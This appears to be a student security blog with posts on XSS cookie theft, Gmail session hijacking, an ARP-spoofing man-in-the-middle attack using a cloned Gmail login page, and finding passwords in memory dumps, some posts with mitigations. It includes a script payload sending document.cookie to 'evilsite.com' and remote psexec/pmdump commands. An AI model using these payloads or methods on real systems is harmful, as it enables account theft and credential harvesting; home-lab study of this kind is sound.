XSS cookie theft

Cross Site Scripting(XSS) is a vulnerability that is caused when web programmers fail to validate user input that is later published on the page. If an attacker were to input a script like < script > alert("hello world!")< /script > into a form, then the javascript would be published on the page and executed in the browser as if it came from the site its self. The previous script is harmless but if an attacker were to input a script like < script > window.open("http://evilsite.com/cookiegrabber.php?cookies="+document.cookie); < /script > the attacker could steal the session cookies from every user who visits the XSS vunerable site. This site is common on search pages written in php, but it can be found in any page that accepts user input. There are many variations on this attack and it seems to be very popular.

Attack mitigation: Check all user input and convert (, <, >, /, %, ", ', +, &, ) characters to literal values like &lt and &gt before storing them or displaying them on a page.

Thanks to Xylitol and CgiSecurity for their helpful guides.

Do I smell Gmail cookies?

I have always wanted to know how session hijacking via cookie theft worked. So I decided to try it for my self on my home network. This vulnerability occurs when websites use session cookies to validate a users access to resources. Often websites encrypt the initial login session but then pass the session cookie back and forth in plain text. Under these conditions it is possible for an attacker to use a packet sniffer to capture the session cookie and use it to gain access to a victims a account. On my home network I was able to capture my Gmail session cookie using Wireshark. I was then able reinsert it back into a session on different computer using Webscarab and gain access to my account without logging in. To make things worse gmail sessions never really time out unless you logout. Since many people store valuable information in their email I feel like this is a particularly dangerous vulnerability. I think Gmail needs to encrypt their entire session. I don't think I will ever check my Gmail over an unsecure network again. I am going to start using my mail client with ssl instead.

Active Man-in-the-Middle Attack

So I have always heard that it is possible to use a Man-in-the-Middle attack to completely control the network traffic of your victim. I got to thinking about this and decided to find out just how hard it would be. I found out that it was not hard at all. My goal was to execute a Man-in-the-Middle attack that redirected my victim to my own server when they tried to access the page www.gmail.com. So I used my favorite Man-in-the-Middle tool Cain and Able to execute the Man-in-the-Middle portion of the attack. I then did an nslookup on www.gmail.com and added their IP address as a second address on my attack machine. So now when my victim requests gmail.com my web server responds before the request ever hits the real gmail.com server. I then saved the source of the Gmail login page to my own machine. I took my new page that looks exactly like Gmail's login and made a few modifications. Instead of the login form sending its data to the Gmail server I sent it to my own JSP page called Save_info.jps. The save info page takes their username and password and stores it to a text file on the server and then logs them in to the real Gmail and redirects them to the mail.google.com. The user never even knows that they were just hacked because they get logged into their Gmail account as expected. The only indicator of trouble is that my page will appear as http://www.gmail.com while the real page would appear as https://www.gmail.com. It is really kind of frightening because most users would never even check to make sure there is an https in the url. It took me about 1 hour to craft this attack.

Attack Mitigation:

1.If possible you can make a static ARP entry for you gateway. This will stop the Man-in-the-Middle attack from working.
2.Use a program like Arpwatch that checks for changes in your arp table.
3.Watch for the https in the url.

Dumpster Diving in Memory

I recently read an article about how information can remain active in memory even after the machine has been powered off. A group of researchers were using this information to try and break disk encryption. I also read an article at http://www.beginningtoseethelight.org/ntsecurity/ that interested me. These articles inspired me to look around and see what I can find in memory. So I started by using a tool called pmdump and HxD to view the memory space of my active processes. In the ntsecurity article they claim that a users password is stored in plain text in the memory space belonging to the lsass service. I tested this by logging in and immediately dumping the lsass memory. In also tryed this on the winlogon service and was never able to find my password in plain text. I also used dd to dump the entire physical memory of my system and was not able to find my windows password anywhere in memory. It might be so volatile that it gets erased before I dump my memory, but I have not tested this yet. Maybe I could make a script and execute it after login. I didn't have luck with the system password, but I was able to consistently find my password in memory for ***** hidden passwords for any program. All I had to do was open the HxD, view the memory space for that program, and search for the password in inicode. Many programs had common markers by the passwords. I also had good luck finding passwords post-login using the same method. However most programs write to memory so often that the passwords are quickly lost. I was especially interested in recovering post-login passwords in Firefox and IE. I found that these are usually highly volatile but can often be found by searching in ascii mode for the post variables(ie: passwd=, password=, pw=).
Because memory is so volatile you need luck on your side to find passwords in memory. But, thanks to memory paging and hibernation many items can be stored in the pagefile.sys and hiberfile.sys. Depending on the size of these file they can store information for quite some time. a good search of a systems page file and hibernation file could yield positive results.
Thanks to the ntsecurity article and the sysinternals suite I was able to make my attack remote. By issuing the following commands it is possible to dump the memory of a remote machine.

pslist \\
psexec \\ -u -p -c pmdump
move \\\$remotedir localdir

Because many organization use the same administrative account and password for multiple computers, if an attacker were able to obtain the admin password he could remotely dump the active memory of every computer he has access to. Administrators often use weak administrative passwords on all their desktop machines because they say "If someone breaks the password the worst that can happen is they screw up one machine. I will reimage it and it will be fixed. Its not like its a server." Using this memory attack a creative attacker could cause a lot of damage.

FTK

It has been a while since I have posted. This is because I have been working on a project for my digital forensics class. It has been pretty interesting and I have learned a lot about the Forensic Tool Kit(FTK), steganography, EFS, PGP, and basic zip encryption. Its been great, but don't worry I should be ready to post soon on finding information in Pagefile.sys and physical memory dumps.